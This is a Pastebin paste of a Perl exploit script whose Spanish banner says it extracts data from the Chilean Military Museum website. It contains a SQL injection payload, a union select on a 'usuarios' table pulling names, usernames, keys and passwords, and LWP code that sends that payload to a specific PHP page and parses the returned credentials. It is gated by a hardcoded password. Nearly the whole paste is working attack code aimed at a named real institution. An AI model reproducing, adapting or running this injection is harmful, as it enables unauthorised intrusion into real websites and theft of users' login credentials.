Advertisement
Guest User

Untitled

a guest
May 6th, 2017
558
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.12 KB | None | 0 0
  1. #!/usr/bin/perl
  2. print " \n\nExploter Unico Para Extraccion de Datos del museo Militar de Chile \n\n";
  3.  
  4. print "\n\n!!Proteccion Scripkiddies Ingrese Pass!! : ";
  5. #
  6.  
  7. #     * coded by : D4NB4R
  8.  
  9. #
  10.  
  11. #     * Contact: d4nb4r@hotmail.com
  12.  
  13. #
  14.  
  15. #     *  securitychilean Exploters
  16.  
  17.  
  18. my $option=<STDIN>;
  19.  
  20.  
  21. #  P0c:
  22.  
  23. -9999/**/union/**/all/**/select/**/1,2,3,concat(0x3c6e616d653e,nombre,0x3c2f6e616d653e3c7573
  24.  
  25. 65723e,usuario,0x03c2f757365723e3c636c3e,clave,0x3c2f636c3e3c706173733e,password,0x3c2f70617
  26.  
  27. 3733e)/**/from/**/usuarios--
  28. if ($option==8080){
  29. # * TITLE:          Perl_mhm
  30. # * REQUIREMENTS:   PHP 4 / PHP 5
  31. # * LICENSE:        GNU General Public License
  32. # * FILENAME:       Perl_mhm.pl
  33. #----------------------------------------------------------------------------#
  34. ########################################
  35. #
  36.  
  37.  
  38. print "                   \n";
  39. print "                   \n";
  40. print "                       SecurityChilean                                \n";
  41. print "       ---------------------------------------------------- \n";
  42. print "      |                                            *       | \n";
  43. print "      |  ****   *   *   * *****  ***** ****     *  *  **** |            \n";
  44. print "      |  *  *  * *  **  *  *   * *   * *   *   * *   *     | \n";
  45. print "      |  **** * * * * * *  *   * *   * * **   * * *   ***  | \n";
  46. print "      |  *    *   * *  **  *   * *   * *   *  *   *      * |  \n";
  47. print "      |  *    *   * *   * *****  ***** *    * *   *  ***** |    \n";
  48. print "       ----------------------------------------------------     \n";
  49. ########################################
  50. #----------------------------------------------------------------------------#
  51.  
  52. use LWP::UserAgent;
  53. die "Example: perl $0 *********\n" unless @ARGV;
  54. $contra="d4nb4r";
  55. $name="nombre";
  56. $user="usuario";
  57. $cl="clave";
  58. $pass="password";
  59. $tab="usuarios";
  60.  
  61. $b = LWP::UserAgent->new() or die "Could not initialize browser\n";
  62. $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
  63.  
  64. $host =$ARGV[0].
  65. "/html/agenda_02a.php?id=-9999/**/union/**/all/**/select/**/1,2,3,concat(0x3c6e616d653e,".$n
  66.  
  67. ame.",0x3c2f6e616d653e3c757365723e,".$user.",0x03c2f757365723e3c636c3e,".$cl.",0x3c2f636c3e3
  68.  
  69. c706173733e,".$pass.",0x3c2f706173733e)/**/from/**/".$tab."--";
  70.  
  71. $res = $b->request(HTTP::Request->new(GET=>$host));
  72. $answer = $res->content;
  73.  
  74. if ($answer =~ /<name>(.*?)<\/name>/){
  75.         print "\nExtrayendo datos by D4NB4R *SecurityChilean* ...\n";
  76.         print "\n
  77.  
  78.    * nombre : $1\n";
  79.  
  80. }
  81.  
  82. if ($answer =~/<user>(.*?)<\/user>/){print "\n
  83.  
  84.    * usuario : **Proteccion kiddies**";
  85.  
  86. }
  87.  
  88. if ($answer =~ /<cl>(.*?)<\/cl>/){
  89.        
  90.         print "\n
  91.  
  92.    * clave : md5: Not noobs   cracked : *******";
  93.  
  94. }
  95.  
  96. if ($answer =~ /<pass>(.*?)<\/pass>/){
  97.        
  98.         print "\n
  99.  
  100.    * password : md5: not noobs  cracked: Not found\n\n";
  101.  
  102. }
  103.  
  104. else{print "\n[-] Exploit Failed...\n";}
  105. }
  106. else{print "\nPass Incorrecto\n\n\n";}
  107. print "########################################\n";
  108. print "#-------------------Exploit exploited by D4NB4R --------------------#\n";
  109. print "########################################\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement